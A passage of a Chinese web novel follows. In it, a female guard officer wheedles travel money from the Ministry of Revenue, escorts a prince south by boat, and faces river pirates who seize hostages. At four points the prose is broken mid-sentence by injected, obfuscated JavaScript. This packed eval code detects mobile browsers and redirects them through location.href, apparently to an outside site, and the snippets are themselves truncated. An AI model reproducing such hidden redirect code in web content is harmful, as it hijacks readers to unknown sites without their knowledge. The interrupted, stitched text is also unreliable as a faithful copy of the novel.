d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485576|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格自然不同。 户部左侍郎江大人踱步出来，同是三品的绯袍纹丝不乱。脸上是户部官员特有的、仿佛刚数完千万两雪花银的满足与疲惫。 他目光在燕风身上轻轻一掠，便热络地定格在李芳贤身上，一串吉祥话咕噜咕噜就冒了出来： “哎哟，李指挥！您一来，我们户部真是蓬荜生辉。久不见您，风采更胜往昔啊！” 李芳贤硬邦邦地开口：“江大人，闲话少叙。本使此来，是为北镇抚司的公务开支，这笔银子，今日必须批了！” 江侍郎闻言，脸上顿时堆起十二分的为难。 “我的李大人呐，您这真是……唉！” 他一边摇头，一边亲切地挽住李芳贤的胳膊，“您可知，今年西北军饷便要支出一百八十万两，黄河凌汛抢修又是四十万两，宫里几位娘娘的用度……咳，这还不算各地宗藩的岁禄。” 他适时凑近耳语：“不瞒您说，兵部马大人、工部徐侍郎，那可都是等了数月的老账。下官这……实在是手心手背都是肉，割哪块都疼啊！绝非是针对您锦衣卫！” 一番话软中带硬。言下之意再明白不过：别人都在等着，你们锦衣卫，怎么好意思来插这个队？ 李芳贤一张黑脸憋得紫红，胸口起伏，硬是驳不倒半个字，只从牙缝里挤出：“你……！” 燕风在一旁，心彻底沉了下去。 此刻她才算明白，这满衙门滑不溜手的泥鳅功夫，究竟是得了谁的真传。方才燃起的那点希望火苗，“噗”一声，眼见就要彻底熄灭。她焦急地看着自家老大，目光扫过他因一路急行而布满细密汗珠的额头。 忽然间，一个念头窜了上来！ 也顾不得什么上下尊卑了，她一个箭步上前，拨开挡路的户部司官，猛地抓住李芳贤的胳膊，对着他那张黑红的脸便惊惶大叫： “李大人！大人！您怎么了？您可别吓唬下官啊！” 李芳贤被她这石破天惊的一嗓子吼得一愣，疑惑地侧头看她。 燕风手下悄悄掐了他胳膊一下，面上却更显惶急，声音带着哭腔响彻整个值房：“大人啊！不过是一笔才一百两的公务银子，您何至于此，何至于气急攻心啊！您要是晕过去了，咱们北镇抚司可怎么办啊！” 李芳贤先是一怔，随即眼中闪过一丝了然。 “噢……”他含混地应了一声，十分配合地，双眼一闭，身躯直挺挺就向后倒去。 “大人！”燕风惊呼着，赶忙用尽全力将他歪斜的身躯扶住，让他半靠在自己肩上。 户部值房内顿时一片鸡飞狗跳。 江侍郎脸上的从容瞬间碎裂，几步抢上前：“李大人！李大人！这、这……你们这是做什么？！” 燕风半扶半抱着昏迷不醒的上司，带着哭腔嚎道：“江大人！您都看见了啊！我们大人为了这笔才一百两的公务开支，夙夜忧叹，今日连早食都未曾用过……” 她抬眼瞥了下窗外的日头，哭得更加情真意切：“眼看这都过午了，连口水都没喝就赶着来寻您！怎么就……怎么就是办不了呢？” “一百两啊，不过就是一百两啊！！” 户部众人：“……” 71. 穷路 揣着那张来之不易的银票从户部出来，燕风被外头明晃晃的日头一照，才后知后觉地生出几分愧怍来。 她偷眼去瞧走在前头的李芳贤。 这位指挥使大人已然恢复了平日的模样，只是衣服上还沾着方才在户部值房地上蹭的泥灰。 好歹是朝廷正三品大员，锦衣卫名义上的最高长官，方才竟跟着她为了区区一百两银子，在户部上碰了一回瓷。 这要是传出去…… “大人，”她真心实意地歉然道，“今日……实在是委屈您了。下官……下官请您吃顿饭吧，聊表谢意。” 李芳贤脸上有些茫然：“行。” 他带着燕风穿街过巷，绕过那些气派的酒楼饭庄，最终停在了一条背街小巷口简陋的馄饨摊前。 “就这儿吧。” 他熟门熟路地在摊子外摆着的矮桌旁坐下，抬手招呼老摊主，“老周，两碗馄饨，一碗多点葱花。” 燕风看着那被烟火熏得发黑的招牌，以及旁边摞得高高的粗瓷大碗，一时语塞。 她想象中的答谢宴，绝非如此。 “大人，您帮了下官这么大的忙，怎么能只吃碗馄饨呢？这……这也太……” “得了吧你，” 李芳贤撩起眼皮看她，一针见血道：“去酒楼？你有钱吗？别回头把这一百两刚焐热的银子给花完了，到时候还得本官去户部值房里躺上一回？” 燕风被他噎得哑口无言：“……也是。” 吃过了饭，燕风拿着钱先回了北镇抚司记档。 接下来便是分派：一同南下的除了她，只得四位下属。三位是老搭档，外加新来的陈青。 经费有限，人手也只能精简至此。 她将银钱分成几份，一份按例分发给下属们作为出行准备；一份仔细收好，充作沿途固定的路费和应急需要；最后剩下的那些，薄薄一叠，她几乎是怀着虔诚的心情揣回家，郑重地交到了江鱼手中。 江鱼接过那叠数目有限的银票，便开始了连日奔走。她比对货价、权衡优劣，算盘珠子拨得噼啪作响，眉头却越皱越紧。 这日晚间，她终于将算盘一推，叹了口气。 “头儿！这钱……怕是真要少了。” “哪项超了？”燕风心里一紧，凑过去看。 “项项都紧巴巴的。”江鱼指尖点着其中一行，“别的先不说，单是这下了船的马车钱，就是一笔不小的开销。我琢磨着，能不能省了？” “怎么省？” “我们把马车直接带上船，到了地方用自己的，不就省了临时雇车的钱了吗？” 燕风闻言，面露难色：“主意是好……可咱们也没有现成的马车啊。” 江鱼瞪大了眼睛：“啊？咱们北镇抚司，平日里出门前呼后拥，那么威风，连一辆像样的马车都拿不出来？” 燕风有些尴尬地摸了摸鼻子：“其实……库房里是有一辆旧车驾的。但年久失修，平日里也没银子养护。前日我特意请修车的老师傅来看了一眼，他说……还是另租一辆稳妥。” 江鱼又是一声长叹：“唉……这么说，还是得租。但我还是觉得最好就在京城租好一辆带过去，我怕到了那边人生地不熟，不懂行情更容易被人坐地起价。况且，咱们从衙门到码头这段路也需要用车，租赁行都是起租价高，租得久些，折算下来反而划算。”她拨了几下算盘，验证了自己的想法。 燕风本想说“凭咱们北镇抚司的招牌，到了地方多少也有些面子，不至于被宰得太狠。”可话到嘴边，想到这紧巴巴的一百两银子的来历，顿时底气全无，又咽了回去。 “那……车夫呢？”燕风又想起些什么，心里微微一动。 江鱼头也没抬，自顾自地继续盘算：“车夫？自然是由我兼任了。驾车而已，应该不算难事。这趟出门，能少一张吃饭的嘴就已是万幸了。” 她忽然想起什么，眼神一亮：“对了，这趟既然是护送二皇子殿下南下就藩，他必定扈从众多，仪仗周全。头儿，不然……你去找二皇子殿下说和说和？指不定人家府里马车多得是，匀咱们一辆也无妨。这租车的钱，不就全省下来了？” “不要。” 燕风断然拒绝，没有一丝转圜的余地。 她现在极端厌恶那位始作俑者二皇子，若非这人临时起意，她怎会落得这般田地。 要她为了省几两银子去求他？ 绝无可能！ 江鱼看着她瞬间冷下来的脸色，识趣地不再多言，只是低头看着账本上捉襟见肘的数字，小小地又叹了口气。 这趟差事，还没出发，就已显得前路漫漫，步步维艰了。 * 转眼便到了出发这日。 浑河码头边，二皇子的船队旌旗招展，扈从如云，箱笼行李堆叠如山，在日光下泛着富贵的油光。 相比之下，燕风这边的行头便显得格外寒酸。 江鱼脑子活络，不知从何处赁来一辆拉货的旧牛车，又指挥着燕风和她一起，寻了些旧木板和防雨的油布，七手八脚地给车子搭了个歪歪扭扭的顶棚。配上北镇抚司唯一富裕的高头大马，远看倒也有了几分车驾的模样。 只是这车架上痕迹斑驳，车棚在风中微微发颤，与不远处皇家队伍的珠光宝气一比，便如土鸡妄立金凤之侧，窘迫得令人侧目。 燕风瞧着自家这寒碜家当，再瞥向那浩浩荡荡的皇子仪仗，心里头不由得酸溜溜地想：“这一窝的皇亲国戚，捞钱的本事倒是祖传的。连这么个不成器的色胚，家底也厚实得晃眼。” 她暗自磨了磨后槽牙:“若是过几日盘缠真不够用了，老娘重操旧业，从他那儿顺点儿救急，也算劫富济贫，替天行道！” 正胡思乱想间，却见一个熟悉的身影踱了过来。 竟是李芳贤李大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485577|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来送行。 码头就在浑河边，他来看一眼倒也方便。只是自打户部那回后，这位大人除了原本的“浑河钓翁”雅号，在衙门里又多了个诨名——“卧龙指挥使” 笑他为了百两银子不惜亲自躺倒。 燕风见了他，脸上便有些讪讪的。李大人却依旧是那副老好人的模样，走到近前，张了张嘴，最后只干巴巴挤出一句：“路上……小心。” 燕风连忙躬身，搜肠刮肚地想了几句吉祥话：“大人放心，下官定当恪尽职守，早日……早日归来。” 这话说出口，倒分不清是谁在给谁送行。 两人相对无言，气氛一时尴尬。 恰在这时，一道金晃晃的身影施施然走了过来，正是二皇子殿下。 他今日显然是精心打扮过，一身云锦华服，头戴束发金冠，腰间玉佩叮咚，遍体绫罗倒也勉强衬出了几分人模狗样。 他似乎对自己这身行头十分满意，手中泥金折扇轻摇，看向燕风的眼神带着毫不掩饰的兴趣。 仿佛在欣赏一件新得的玩物。 燕风强压下胃里翻涌的恶心，只当是被路边野狗涎着脸瞅了几眼，面无表情地移开视线，权当不见。 “燕大人！” 一道清亮的女声骤然响起，打破了这令人不快的僵局。 七公主竟也来到了码头。 她今日穿着一身火红的骑装，更显得明艳逼人，此刻正柳眉倒竖，大步流星地走来。 她先是狠狠瞪了二皇子一眼，随即目光扫过燕风那辆寒酸的车架，怒火更盛。 “我说二皇兄，你走就走，摆这么大排场给谁看？生怕别人不知道你库房里堆着民脂民膏吗？” 七公主开口便是诛心之言。她声音清脆，引得周遭竖起的耳朵更多了。 “你再瞧瞧燕大人这边！人家是正经奉了皇命护送你南下的，你倒好，自己肥得流油，却让办事的人寒酸到这般田地！你这脸皮，是跟城墙借来的吗？” 她越说越气，纤纤玉指几乎要戳到二皇子鼻子上：“我警告你，这一路上你若再敢用刚才那种不干不净的眼神盯着燕大人，或是变着法儿地刁难克扣，你信不信我立刻回宫，就去父皇面前，好好说道说道你去年秋狩时，是怎么把……” “七妹！七妹！”二皇子脸上的得意瞬间僵住，慌忙打断她的话，方才那副风流倜傥的姿态荡然无存。 “休要胡言！为兄……为兄岂是那种人！” 七公主冷哼一声，这才作罢。 她转而看向燕风，眼神复杂，那里面有过往少女情愫残留的痕迹，更有坦荡而又爽利的护短之意。 她抿了抿唇，最终只低声道：“燕大人……你自己，一路当心。” 燕风看着她为自己出头的身影，听着那依旧滚烫的回护之言，心中一时百感交集。 她郑重抱拳，深深一揖：“多谢殿下。” 72. 待帆 船队已准备就绪，人员齐备，行李满载。 送别了几位贵人，燕风立在船板上，目光仍望着码头来路的方向，怔怔出神。 其他随行人员已各自散去安顿行李，唯有江鱼还陪在她身侧，见她神色怅然，不由问道：“头儿，还在看什么呢？” 燕风像是被惊醒，低声喃喃：“没什么……只是忽然觉得，咱们好像还缺了个马夫。” 江鱼闻言失笑：“这有什么可愁的？就算您信不过我那三脚猫的赶车功夫，陈青总靠得住吧？” “嗯。” 燕风心不在焉地应了一声，目光仍黏在远处尘土飞扬的官道上。 就在此时，一辆青篷马车自远处疾驰而来，车轮滚滚，直奔码头。 燕风眼中瞬间闪过一丝光亮，可随着那车驾渐近，看清了样式与徽记后，那点亮光又迅速黯了下去。 江鱼却高兴地“呀”了一声，踮脚挥手：“哎！是小彭子！” “谁？”燕风蹙眉。 “就是曹宜春曹公公家的小彭子呀！”江鱼语气雀跃。 原来燕风平日公务繁忙时，江鱼一人在家操持，若遇上难处，常去隔壁那位曹公公家求助。 一来二去，便与曹家得力的随从小彭子熟络起来，两人年纪相仿，颇为投缘。 “他怎么来了……”燕风话音未落，马车已行至岸边。 车夫小彭子利落地跳下车辕，转身小心翼翼地打起车帘，恭敬地伸手搀扶。 一只骨节分明的手轻搭上来。 随即，司礼监秉笔太监曹宜春曹公公躬身下了马车。 他不过二十出头的年纪，身着靛青杭绸直身，面容清秀白皙，虽无过多修饰，通身那份经年累月浸润出的内廷威仪，却令人不敢小觑。 燕风正待上前见礼，二皇子却已抢先一步迎了上去。 他脸上堆起热切的笑容：“曹公公！什么风把您吹来了？可是父皇有何旨意要传给儿子？” 曹公公不疾不徐，先规规矩矩地向二皇子行了礼：“参见殿下。恭喜殿下就藩。” 他略顿一顿，才说明来意，“奴才奉旨往南边办些差事，听闻殿下船队南下，便想着顺路搭个便船，也好为户部省些开销。” 二皇子忙不迭应承：“应当的，应当的！公公快请上船！” 既有二皇子在前应酬，燕风便止住了脚步，不再上前。 她默然望着那条已无人迹的来路，眼中最后一点期待也消散了，只余下淡淡的失落。 船板上人来人往，喧嚣忙碌。 她独自靠在栏杆上，目光漫无目的地投向虚空中某个点，神情恍惚。 然而，就在某个不经意的瞬间，她眼神骤然一亮。 仿佛寂静的夜空陡然炸开一簇绚烂的烟火，一股难言的欣喜自心底翻涌而上。 但她很快便收敛了神色，只悄然转过身，默默退入了人群之中。 * 锦衣卫四人提着行李，在下层舱房的过道里面面相觑。 眼前是三间相邻的双人舱房，二皇子那边许是没料到他们人手如此精简，便给备了这么三间。 四个人，三间房，这安排顿时让几位不算太熟也不算太生的同僚犯了难—— 该怎么住，成了个不大不小的问题。 正商量着，燕风已带着江鱼风风火火地到了。 她瞧着心情不坏，见人都堵在过道，便伸手拨了拨：“都杵在这儿做什么？赶紧安置。” 说话间她目光已利落地扫过三扇舱门，随即毫不犹豫地走向正中间的那一间，顺手就把行李推了进去：“这间归我了。” 江鱼跟在她身后，手里提着大包小包。一张脸却苦得能拧出汁来，嘴里不知在嘟囔些什么。 陈青看得一愣，脱口问道：“大人，您……您不是该在上头住吗？怎么到下面来跟我们挤了？” “哦，这个啊，” 燕风回头佯装叹了口气，可那嘴角翘得老高。 “被赶下来了呗。” “啊？这……”陈青一时语塞。 旁边的江鱼终于忍不住，补充道：“我家大人说了，她新伤未愈，在排泄一事上颇为不便，定要寻个离水近、通风好的地方，好方便我每日倒！尿！壶！” 她越说越激动，最后几乎带上了哭腔，“天爷啊……你说这话也不背着人，我往后还有什么脸面见小彭子！” 她话音未落，燕风的脑袋已从门里探了出来，脸上没有半分窘迫，反倒理直气壮地瞪了江鱼一眼： “就你话多！还不赶紧进来收拾！” 还剩下两间房四个人，事情便简单了许多。 杨胜素有些汗脚的毛病。严炳安是个机灵的，见状立刻拽了白砚生一把，两人飞快地闪进了左边靠外的那间房。 陈青这新来的，自然就与杨胜一同住了右边靠楼梯的那间。 说是房间，实在逼仄得可怜。 窄窄两张木板床几乎占满了空间，中间仅以一块竖起的厚木板充作桌案。人进去连转身都需小心翼翼。 也是怕什么就来什么。 杨胜方才上船时不慎湿了鞋袜，此时只觉双脚闷得难受，想着透透气，便顺势脱下了靴子。 这一脱，一股仿佛经年累月、又颇具‘底蕴’的浓郁气息瞬间弥漫开来，强势地占据了这方寸之地。 陈青正整理着自己简单的行囊，动作突然顿了一下，随即抿紧了嘴唇，垂下眼帘。 但还是什么也没说。 杨胜自己倒先不好意思起来，黝黑的脸上泛起窘迫的红晕，嘿嘿干笑了几声。 他这老实人一觉得尴尬，嘴上就忍不住要找些话来说，偏生这船舱隔断的木板薄如纸片，他自己的嗓门又天生洪亮。 “那个……陈兄弟，” 他声音清晰地传遍了左右。 “我听说，你是住在燕大人家里的？你跟燕大人……私下里交情一定很好吧？” 这是一个人人心照不宣，却无人敢问的问题。 刹那间，旁边几间房内，连衣物摩擦的窸窣声都没了，仿佛所有人都屏住了呼吸。 只听得隔着那薄薄的木板，陈青的声音闷闷地传来。 “也谈不上……”他顿了顿，最终用一种近乎认命的平静语气道：“我是燕大人给她表妹江小姐招的上门赘婿。” “噢——！” 杨胜恍然大悟的大嗓门震得木板仿佛都在颤。 “原来燕大人还有个表妹啊！那一定长得挺俊吧？你小子可真有福气啊！” 陈青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485578|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎低低地“嗯”了一声，算是回答。 随后，他大约是抬手指了指隔壁燕风那间房的方向，声音压得更低，几乎成了气音： “她……今日也来了。” 这话一出，周遭刻意维持的寂静顿时变得微妙起来。 隔壁房内，江鱼把烧得通红的脸深深埋进掌心，又从指缝里狠狠瞪了燕风一眼。 后者正靠躺在板床上，表情惬意，看起来心情很是不错。 江鱼‘腾’地站起身："我去外面透透气！" 隔壁杨胜终于意识到这隔音的简陋，讪讪地闭了嘴，没再做出什么点评。 “正好。"燕风懒洋洋开口，"看看午饭好了没，好了就带回来。我不想出去了，这船，晕得很。" 江鱼没好气地回头："晕船？你什么时候添了这毛病？" 燕风轻笑一声："我的好表妹。你不知道的表哥的事儿，还多着呢。" * 船舱里闷得人发慌，江鱼取来午饭后便又出去透气了。 左右隔壁的四个锦衣卫下属也各司其职，上船巡查去了。 唯有燕风，从上船起便借口晕船不适，独自窝在舱房里。 今日的午饭是豆芽汤面。 燕风执箸在碗中拨了两下，望着那清汤寡水，不由暗暗啧舌，腹诽二皇子实在抠门得紧。 按常理，开船首日食材最新鲜充裕，伙食本该丰盛，往后才渐趋简单。 如今头一顿就如此寡淡，往后寻常船员与随行人员的饭食，便可想而知了。 自然，二皇子那头定是珍馐满案，另当别论。 她挑起几根面条，喉头不自觉地滚动了一下，终究还是一狠心，一筷子一筷子地将面条悉数拨进了早备好的空罐子里，预备着夜深人静时再悄悄处理掉。 此举实属无奈。 临行前一晚，她又去了一趟兰香馆。可那迟三只说“到时自有安排”，要她“里应外合，见机行事”，一脸高深，具体计划却死活不透。 简直让人疑心他根本什么都没想好。 但为稳妥计，这船上的餐食，她是一口也不敢沾了，只打算靠自带的干硬面饼与肉干充饥。 毕竟，迟三那人，可是有‘下药’的前科的。 面条将尽，碗底竟露出了三截小小的肉丝。 燕风微微一怔，随即莞尔：“原来还是带了荤腥的，藏得这般深，不仔细还真发现不了。” 她小心将那三条肉丝一一挑起：一条粗长壮实，一条中等匀称，另一条稍短却更敦实。 倒恰似她那三名属下的身形—— 杨胜高大魁梧，白砚生清瘦修长，严炳安稍矮却精悍。 “会是谁呢……”燕风指尖轻点桌板，目光在三根肉丝间来回逡巡，心道那“朱厌”，多半就在这三人之中了。 她盯着看了半晌，也想不出个所以然来，目光却渐渐在那油润的肉丝上停驻，竟生出几分不舍来。 “真是造孽，”她轻声咕哝，“好好的吃食，糟蹋了。” 终究是没舍得将这几条难得的肉丝也一并倒入弃食罐中。 她想着，等江鱼回来，便给她吃了吧。 反正那丫头身手本就稀松平常，药不药的，于她而言，差别倒也不大。 73. 自裁 待到入夜，底舱鼾声此起彼伏。 燕风白日里借口晕船睡得足了，此刻了无睡意，索性起身出了舱门。 正值月初，一弯银钩似的新月斜挂，伴着几颗疏朗的星子。夜风带着河水特有的微腥气息拂面，驱散了些许舱内的沉闷。 燕风四下一扫，见左右无人，足尖在甲板上轻轻一点，身形便如一片被风卷起的飞羽，悄无声息地掠上了官船最高处的船顶。 这几个月虽在京城，但她武功修炼一日未曾松懈。 如今离了那皇城之地，摆脱了与皇帝之间那无形的能力掣肘，只觉周身内力流转愈发沛然，轻功更是臻至化境。 船顶视野极佳，脚下正是这艘官船上最宽敞舒适的几间上房。这样的上房拢共四间。原本的安排是二皇子一间，她一间，剩余两间则塞进二皇子那为数不少的姬妾。 没成想临行前多了个曹公公，她又主动‘让贤’，于是曹公公便住了原本分给她的那间。 而那位以好色闻名的二皇子，长夜漫漫，自是不会虚度。此刻，他房中隐约传出嬉笑与喘息声，细听之下，那娇柔婉转的女声似乎还不止一个。 燕风对此毫无羞赧之意，反而唇角一勾，起了些促狭的心思。 她索性就在二皇子房间正上方的屋顶站稳，自顾自地练起功来。 她的御风术早已出神入化，气息与周遭夜风几乎融为一体。若是她想，莫说在上头练功，便是玩个胸口碎大石，底下的人也休想察觉分毫。 然而，她却分了一丝心神，仔细听着下方的动静。 待到那喘息声渐趋急促，到了紧要关头，她便恶作剧般地用鞋尖极快地在舱顶上连点数下，发出几声清晰却又短暂的“嗒嗒”响。 果然，房内的声响戛然而止。 随即传来二皇子一声惊疑不定的低喝，以及女子带着慌乱的娇声询问。 想来这一吓，效果颇为显著。 如此这般闹了几回，二皇子那边似乎也意兴阑珊，不多时，房内便彻底安静下来，想来已是草草收兵，悻悻睡去。 开了这等恶劣的玩笑，燕风心情大好。 她又凝神练了许久功夫，直到月上中天，一股倦意才缓缓袭来。她顺势仰躺在舱顶上，望着墨蓝深邃的夜空，不知不觉竟沉沉睡去。 下半夜，河风渐凉，带着湿冷的寒意侵入衣衫。 燕风在睡梦中无意识地瑟缩了一下。 迷迷糊糊间，似乎察觉到有什么东西轻盈地落在了船顶。 她努力想睁开眼，却只勉强撑开一条细缝。 朦胧视野里，一个影子悄然靠近，动作极轻地为她盖上了什么。 那东西带着一股暖意，瞬间驱散了周身的寒凉。 她心中莫名一安，那点残存的警觉渐渐消散，意识沉入更深的睡眠里。 * 二皇子的船队平平稳稳地在运河上航行了七八日。 这日清晨，薄雾未散，江鱼照例站在船舷边透气，目光漫无目的地扫过两岸。 起初只是些寻常的芦苇滩涂，渐渐地，远处山峦的轮廓、甚至水湾处几株歪脖子柳树的姿态，都透出几分诡异的熟悉。 她眼睛越睁越圆，忽然一把攥住身旁燕风的袖口，声音里带着难以置信。 “头儿，你看这地方……是不是快到青桥县了？像是我老家地界！” 燕风闻言，有些好笑地看着江鱼：“前几日让你核对行程账目，路线图上不是明明白白标着要经过青桥县么？你竟到现在才看出来？” 江鱼不好意思地抿嘴一笑。 燕风这几日清减得厉害，下颌线条越发分明。 船行多久，她便啃了多久自带的干粮。那又硬又柴的面饼，如今只看一眼都觉得喉头发紧，脸色也一日日泛着菜色。 “好消息是她白受了这苦，坏消息也是她白受了这苦。”燕风望着河面，郁闷地想。 江鱼不知内情，只当她是晕船症状未消，胃口不佳。她见燕风面容憔悴，再看眼前这片熟悉的水域，眉头忽然忧虑地蹙起：“头儿，你说咱们不会遇上水盗吧？” 燕风正暗自与腹中空虚对抗，闻言一惊：“水盗？你这是从何说起？” “您有所不知。” 江鱼压低了些声音，神色认真起来，“我们本地人管这段河道叫‘瓯水’，都觉得它邪性，不吉利，不光是因为早年发过大水，淹死过不少人畜。老辈人总念叨，古时候这河里的水盗凶得很，杀人越货，无法无天。所以我们这些在水边长大的，心里都存着忌讳，能不走水路尽量不走。” 她指了指远处隐约可见的码头轮廓：“您瞧，虽说这几年官府牵头修了码头，漕运也兴旺起来，可那多是外来的船帮和客商在经营。我们本地人，除非是绕不过去的急事，否则绝不轻易上这段河。” “对了！我们县郊有座神女庙，香火一直不错。但凡非走水路不可的乡邻，出发前必定要去拜一拜，求一支平安签，图个心安。” 燕风听罢，紧绷的心弦这才松了下来。 她还当这丫头听到了什么风声，原来只是本地的传说故事。 她随口接道：“既有这等习俗，上回我们路过，你怎么不提？也好去拜上一拜，求个心安。” “上回不是来去匆匆嘛！”江鱼道，“再说了，子不语怪力乱神！我现在可不信这些了！” 随即挺了挺胸脯，脸上露出几分近来读了书识了字的得意。 燕风瞧着她那故作老成的小模样，刚想再打趣两句，眼角余光却瞥见二皇子和曹公公也朝甲板上走来了，赶紧拉着江鱼遁了。 * 是夜。 燕风又仰躺在船顶，正有些昏昏欲睡。 突然，她耳廓微动，敏锐地捕捉到远处水波传来一阵异样的、过于密集的划水声。 她瞬间警醒，悄然移至船檐边，凝目望去—— 只见几条没有悬挂灯号的梭形快船，正如同暗夜中游弋的毒蛇，悄无声息地破开水面，朝着官船直扑而来！ “糟了！” 燕风心头一凛，脑海中瞬间闪过江鱼白日里那忧心忡忡的小脸：“咱们不会遇上水盗吧？” “这丫头，莫非真是个乌鸦嘴不成？” 她暗骂一声，周身肌肉紧绷，右手已下意识按住了腰间的刀柄，如同即将扑出的猎豹，计算着距离与出手的时机。 就在这剑拔弩张之际，她的目光锐利地锁定了其中一条快船的船头。 那里，一个身影正懒洋洋地抱着臂，虽然也蒙着面，但那站姿，那轮廓…… 燕风原本紧绷的神经如同被松开的弓弦，骤然一松。 她轻轻吁出一口气，索性又躺了回去，双臂枕在脑后，准备安心看戏。 几乎是同时，下层甲板传来一声压抑的闷响。 是杨胜。 这位武状元出身的汉子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485579|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚巧在舱外小解，竟是第一个反应过来的人。 “有敌袭——！”杨胜的怒吼如同惊雷，瞬间撕破了伪装的宁静。 “呼！呼！呼！” 几条快船上十几支浸了油脂的火把被同时点燃，又高高举起。 跳跃的火光骤然将河面映照得如同白昼，也晃得官船上刚惊醒的守卫们睁不开眼。 数十道矫健的黑影，借着这瞬间制造出的光暗交错与混乱，用利爪般的飞索钩牢扣住船舷，迅捷无比地攀援而上！ 他们的目标明确，直扑上层那几间最为华贵的舱房！ 整个过程快得令人窒息。 当大部分侍卫还在慌忙寻找兵刃时，那群水盗已如同潮水般退去。 来时无声，去时却裹挟着几个重要的人质——衣衫不整、面无人色的二皇子，他身边几位哭得花容失色的宠姬，以及，被反剪着双臂挟持的曹公公。 “来人啊！”杨胜目眦欲裂。 他离得最近，反应也最快，如一头暴怒的雄狮，提着刀便率先追了上去。 奈何距离已拉开，他只来得及赶上押送队伍末尾。他手中刀光闪过，一名水盗当即惨叫着跌入河中，另一名则被他砍伤手臂，哀嚎着拼命跳回了己方快船。 此时，水盗头子站了出来。 火把的光芒跳跃在他蒙面的布巾上，只露出一双得意洋洋的眼睛。他钢刀横在二皇子颈前，正待按照计划索要钱财，目光却猛地凝固在自家兄弟的尸体和伤者身上。 “老五！” 他发出一声暴吼，而后猛地扭头盯住持刀而立、须发皆张的杨胜。 “你！立刻给老子自裁谢罪！否则，我立刻宰了这肥羊！” 冰凉的刀刃陷入皮肉，二皇子吓得魂飞魄散，尖声叫道：“救、救命！” 一丝殷红的血线已从他颈侧渗出。 “好汉！刀下留人！手下留人！”船这边一个唤作双喜的大太监连忙大喊。 “您挟持的可是当今圣上的亲儿子，南下就藩的王爷！龙子龙孙啊！” 那水盗头子闻言，猖狂的气势明显矮了一截，嘴上却仍硬撑：“皇、皇子？老子劫的就是皇子！” 但手中钢刀，却不自觉地向旁挪开了半分。 他眼珠一转，猛地将吓软了的二皇子粗暴地推给身旁手下，目光却淫邪地扫过那群瑟瑟发抖的美貌姬妾。 “既然是王爷，那王妃定然也在其中了？” 他狞笑着，随手从人群中抓出一个容貌出众的女子，刀刃瞬间架上她雪白的脖颈。 “是哪一个？没关系，老子可以一个一个试！先从最漂亮的开始！那边那个大个子，你还不自尽？是想看着这位美人香消玉殒吗？” 那女子吓得连哭都哭不出来，只能发出绝望的呜咽。 二皇子甫一脱离刀锋，喘过一口气，见爱妾遇险，竟不顾一切地对着杨胜嘶喊。 “那谁，快！照好汉说的做！你的妻儿老小，本王保他们一世富贵！快啊！” 紧接着，一连声的催促从四面八方涌来。 杨胜持刀的手剧烈颤抖起来，他看着对面船上那张因恐惧而扭曲的、他本该誓死护卫的主君的脸，又看了看那寒光闪闪的刀锋下无辜的女子。 他一张黑脸涨得紫红，虎目之中，尽是难以置信的悲愤与茫然。 终于刀刃缓缓调转。 那闪着寒光的锋刃竟真的朝向了自己。 74. 枯荣 船顶之上，燕风轻叹一声。 随即她悄无声息地落在杨胜身侧，一只手稳稳按在他的腕上，温柔却不容抗拒地将那指向他自己的刀锋压了下去。 “不可。” 她声音不高，却清晰地传入在场每一个人耳中，“你是我的属下，所以没人能逼你。” “大人……” 杨鸣看着从天而降的燕风，喉头哽咽。 “你又是何人？”水盗头子见横生枝节，不满地厉声吼道。 二皇子生怕激怒匪徒，也顾不得许多，扯着嗓子大叫：“姓燕的！你捣什么乱！本王还没治你守卫不力之罪呢！还不速速退下！” 他这一出声，如同头鸭引吭，身后那群惊惶失措的内侍太监立刻找到了主心骨，纷纷跟着鼓噪起来： “燕大人，此时万万不可逞强啊！” “快让这人依了好汉所言吧！” “莫要惹恼了好汉，害了殿下性命啊！” 一时间，七嘴八舌，如同群鸭乱嘎，吵得人脑仁生疼。 燕风运足内力，怒喝道：“都给我——闭嘴！” 那群太监被吓得一哆嗦，顿时噤若寒蝉。 燕风这才重新将目光投向那水盗头子，语气简直像是命令道：“你，把那个皇子放了。我，来做你的人质。” 